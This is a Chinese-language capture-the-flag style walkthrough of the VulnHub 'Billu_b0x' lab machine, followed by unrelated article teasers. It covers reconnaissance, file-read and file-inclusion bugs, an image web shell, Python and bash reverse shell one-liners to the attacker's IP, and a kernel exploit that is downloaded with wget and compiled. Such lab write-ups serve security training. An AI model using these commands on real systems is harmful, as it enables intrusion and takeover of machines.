【靶机】vulnhub靶机billu

news2024/11/17 7:40:16

 靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip

一、环境搭建

1.1 实验环境设计

使用vmware导入靶机,模式为nat模式即可,同时开启kali作为攻击机,对靶机进行渗透,要确定两台主机在同一网段。

Kali的ip是192.168.1.130,靶机的ip是192.168.1.131。

1.2 渗透思路

1.信息搜集:ip发现,端口扫描,子域名爆破,目录扫描。

2.漏洞发现:敏感文件泄露,本地文件包含,文件上传和反弹shell

3.提权:内核提权,suid提权等。

二、信息搜集

首先使用sudo arp-scan -l进行ip扫描,可以看到扫描到的靶机ip为192.168.1.131。

再使用nmap对靶机进行端口扫描,命令:nmap -p- -sV -A 192.168.1.131,使用的是全端口扫描,检测目标服务的版本,系统探测、版本探测、脚本扫描。

接着使用gobuster进行目录扫描,命令如下:gobuster dir -u http://192.168.1.131/ \ 

-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \

-x php,txt,html,js,php.bak,zip

再次开启一个目录扫描工具,使用dirsearch进行目录扫描:python dirsearch.py -u http://192.168.1.131,可以发现这次扫描到的目录多了几个。

三、漏洞挖掘与利用

每个子目录进行查看,看到in目录的phpinfo文件,开启了可能有的地方会存在文件包含漏洞。

查看test.php页面,发现缺少参数file,使用get传参不成功,尝试post传参,可以读取到/etc/passwd文件

展示一下读取到的/etc/passwd文件

再次查询,发现在c.php的数据库连接文件中,可以看到数据库的连接密码。账号:billu密码:b0x_billu

可以发现下图代码panel存在文件包含漏洞。源码解释:接收一个以post传参的load参数,如果没有匹配到add和show选项,则匹配传到的那个参数,因为没有做好过滤,所以访问的路径和文件是我们可以控制的。

使用找到的数据库账号密码成功登录phpmy目录,可以看到里面auth库下的账号密码。

 

使用数据库中的账号密码进行index.php页面的登录,成功登录,这里有两个功能,分别是show users 和add users

看到uploaded_images下只有靶机自带的一些图片,这里考虑使用图片木马配合文件包含漏洞进行getshell

尝试上传php木马文件,但是被过滤。

修改mime头和文件头都无法过滤,考虑使用文件包含漏洞进行利用

先写个图片木马,进行上传。

这里配合文件包含漏洞进行,那为什么不用test页面的文件包含,是因为test页面只是一个readfile的功能,是属于任意文件读取

可以看到成功命令执行

四、获得权限

4.1 获得权限

在使用命令进行反弹shell前,需要把payload进行url编码,防止特殊字符会被转义。

可以使用python进行反弹shell:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.130",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

也可以使用bash进行反弹shell ,命令:echo “bash -i >& /dev/tcp/192.168.1.130/4444  0>&1” | bash

4.2 权限提升

查看具有suid权限的文件,尝试suid提权,但是失败,命令:find / -user root -perm /4000 2>/dev/null

尝试内核提权,使用uname -a 和cat /etc/issue查看系统内核版本,使用searchsploit查找对应的内核版本漏洞,可以看到对应的提权版本有37292.c文件。

使用locate命令查看文件的存放位置,使用cp命令将文件复制到桌面

提权漏洞的使用方法如下

在kali的桌面开启终端,使用命令python -m http.server开启web服务,在靶机终端切换到tmp目录中,再使用wget下载该文件。

使用gcc进行编译,再运行即可提权。

也可以在phpmy文件找到的配置文件,直接尝试ssh登录即可,登入就是root权限

总结:

在拿到一个渗透站点,首先我们要判断他的真实ip,然后再使用nmap进行开放端口的扫描和服务的版本等,如果扫描到一些老版本的服务,可以进行nday漏洞的利用,如果开放的一些敏感端口,像21端口的ftp,MySQL的3306端口,windows的远程桌面等,可以在进行信息搜集后进行弱口令的爆破。但最重要的是像80端口和8080端口web服务的漏洞发现.

对于web服务,我们首先要进行信息搜集,使用gobuster和dirsearch进行目录扫描,使用fuzz和wfuzz进行子域名的扫描,如果网站的内容中存在一些特殊的地址,像ycx@yxq.com等我们应该修改一下自己本地的host文件,看一下会不会有新的发现。信息搜集完之后进行进行漏洞的发现,这个就有很多种像文件包含、任意文件读取、命令执行、文件上传和逻辑漏洞等,如果目标站点使用了cms等,可以查找对应的nday漏洞。在这台靶机中,利用任意文件读取漏洞读取文件的源码,在源码中发现密码泄露和文件包含漏洞,使用密码登录后再配合图片马完成getshell,再通过内核提权可以拿到root权限。也可以使用目录扫描,暴力破解phpmy目录下的文件,在配置文件中得到的密码可以用来进行ssh登录,直接就是root权限。

总的来说,在拿到渗透的网站后,最重要的就是进行信息搜集,多搜集到一些信息就多一种找到漏洞的可能,在找到网站存在nday漏洞并找到对应版本的exp后,我们要学会对脚本进行适当的修改,有可能拿来就用是失败的,但是修改完路径和一些参数后就可以成功了,在提权的时候要对suid权限的文件敏感,查看在不需要管理员密码的情况下可以执行哪些命令,对定时文件和敏感目录等进行查看,要抓住细节,平时多积累,在做渗透时才能对关键信息敏感,更容易找到漏洞所在。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/548739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Python从零到壹] 六十六.图像识别及经典案例篇之基于机器学习的图像分类

五月太忙,还是写一篇吧! 欢迎大家来到“Python从零到壹”,在这里我将分享约200篇Python系列文章,带大家一起去学习和玩耍,看看Python这个有趣的世界。所有文章都将结合案例、代码和作者的经验讲解,真心想把…

opencv_c++学习(十五)

一、图像的模板匹配 顾名思义,模板匹配是在一幅图像中寻找一个相同或相似的对象,如上图所示。 matchTemplate(lnputArray image, lnputArray templ,OutputArray result, int method, lnputArray mask noArray())image:待模板匹配的原图像,图…

【Spring/MySQL数据库系列】数据库事务的特点与隔离级别

⭐️前面的话⭐️ 本文已经收录到《Spring框架全家桶系列》专栏,本文将介绍有关数据库事务的特点以及隔离级别。 📒博客主页:未见花闻的博客主页 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 &#x1f4…

数值计算 - 利用机器计算的基本方式

离散化方法 设f(x)是定义在[a,b]上的连续函数,当它们的表达式很复杂,甚至写不出来时,我们可以选择若干个离散点 求出f(x)在这些点处的函数值或函数值的近似值 从而得到一个如下的函数值列表: ⚠️提示:对于一个实际的…

Android源码环境搭建

Android源码环境搭建 参考: Android源码环境搭建 1.安装Ubuntu16.4 系统 2.openjdk 8 的安装 sudo apt-get install openjdk-8-jdk使用java -version检查版本 3.安装所有的软件包 sudo apt-get install git-core gnupg flex bison gperf build-essential zip c…

Shell基础学习---3、Read读取控制台输入、函数、正则表达式入门

1、Read读取控制台输入 1、基本语法 read (选项) (参数) 选项说明-p指定读取值的提示符-t指定读取值等待的时间(秒) 如果-t不加表示一直等待 参数说明变量指定读取值的变量名 2、案例实操 2、函数 2.1 系统函数 2.1.1 bas…

【数据库】SQLServer报修表,维修表,反馈表三表连查

大家好,我是雷工! 最近参与的一个SCADA项目,客户要求增加设备维保的功能,对设备的报修,维修,反馈过程进行记录查询,进一步提升企业的信息化能力。 该过程的实现是通过创建三个表分别记录报修-维…

uniapp 用css画五边形(app 小程序),长方形中间斜线分割成两部分

效果图 css .scoreLabel{ background: $yxs-theme-color; width: 64rpx; height: 69rpx; line-height: 32rpx; font-size: 28rpx; font-family: DINPro; f…

chatgpt赋能Python-python3_9安装scrapy

Python3.9安装Scrapy——加速数据抓取的利器 在现代数字化时代,数据抓取和数据挖掘的重要性越来越受到重视。作为一种高效的爬虫框架,Scrapy能够实现快速的页面抓取和数据解析,并帮助我们快速获取所需数据。本篇文章将会为大家介绍如何在Pyt…

【零基础学web前端】CSS学习,字体属性,文本属性,背景属性,圆角矩形属性

前言: 大家好,我是良辰丫,在上一篇文章中我们了解了CSS引入方式,CSS基础选择器,CSS复合选择器,今天我们继续学习CSS的相关知识点.💞💞 🧑个人主页:良辰针不戳 📖所属专栏:零基础学web前端 🍎励志…

其利天下技术居于32位MCU推出11万转无刷高速吹风筒方案--【高速吹风筒PCBA】

大家都知道高速吹风筒的兴起是因为戴森的产品体验,从另一角度赋予了吹风筒全新的产品形态和灵魂,于是产品有了智能和品质的体验感。 无刷电机的技术瓶颈在大家的共同努力下,从结构到驱动上都有了新的突破,所以近年来,高…

在疯狂三月之后,深入浅出分析AIGC的核心价值 (下篇)|【AI行研商业价值分析】

Rocky Ding 公众号:WeThinkIn 写在前面 【AI行研&商业价值分析】栏目专注于分享AI行业中最新热点/风口的思考与判断。也欢迎大家提出宝贵的优化建议,一起交流学习💪 大家好,我是Rocky。 本文是《在疯狂三月之后,深…

openwrt-安装NGINX

openwrt-安装NGINX 介绍 OpenWrt 是一个用于嵌入式设备的开源操作系统。它基于 Linux 内核,并且主要被设计用于路由器和网络设备。 OpenWrt 的主要特点包括: 完全可定制:OpenWrt 提供了一个完全可写的文件系统,用户可以自定义设…

目前账号矩阵系统源码有几种框架

目前账号矩阵系统源码主要有三种框架:Spring、Struts和Hibernate。Spring框架是一个全栈式的Java应用程序开发框架,提供了IOC容器、AOP、事务管理等功能。Struts框架是一个MVC架构的Web应用程序框架,用于将数据模型、Web应用程序的用户界面和…

纯css实现手风琴效果

今天在网上看到了一个纯css实现的手风琴&#xff0c;很巧妙 效果如下&#xff1a; 具体代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content…

跨平台应用开发进阶(六十五):小程序分包策略及实战讲解

文章目录 一、前言二、为什么要使用分包&#xff1f;三、分包大小查看四、如何使用分包&#xff1f;五、独立分包六、分包预下载七、项目实战八、拓展阅读 一、前言 微信小程序开发过程中&#xff0c;随着业务不断迭代&#xff0c;程序包的体积越来越大&#xff0c;使用分包加…

HTTP协议报文格式详解和抓包那些事

文章目录 HTTP协议是什么HTTP报文格式抓包工具fiddler HTTP请求请求行HTTP方法URL版本号 请求头HOSTContent-Type&Content-LengthUser-Agent(简称UA)RefererCookie HTTP响应状态行版本号状态码 HTTP协议是什么 HTTP协议全称为超文本传输协议&#xff0c;是一个被广泛使用的…

【dfs之 迭代加深】【dfs层序遍历】【dfs和bfs的缺点结合解决 就是 迭代加深】加成序列

迭代加深 DFS&#xff0c;BFS和迭代加深的联系与区别例题1. 加成序列普通思想&#xff1a;优化方法&#xff1a; DFS&#xff0c;BFS和迭代加深的联系与区别 DFS&#xff1a; DFS算法是沿着搜索树的根节点&#xff0c;一直遍历完该搜索树之后再回溯继续搜索的一种算法。缺点是…

python读取excel数据并用双y轴绘制柱状图和折线图,柱子用渐变颜色填充

python绘图系列文章目录 往期python绘图合集: python绘制简单的折线图 python读取excel中数据并绘制多子图多组图在一张画布上 python绘制带误差棒的柱状图 python绘制多子图并单独显示 python读取excel数据并绘制多y轴图像 python绘制柱状图并美化|不同颜色填充柱子 python随机…

体验css:repeat和grid

文章目录 一、repeat1. 语法2. auto-fill和auto-fit3. 专属尺寸① fr② auto③ max-content④ min-content 二、grid1. 设置grid布局2. 设置列宽行高3. 设置间距4. 设置分区5. 设置布局排列顺序6. 设置单元格内容对齐方式7. 设置整个网格对齐方式8. 设置隐式网格大小9. 设置网格…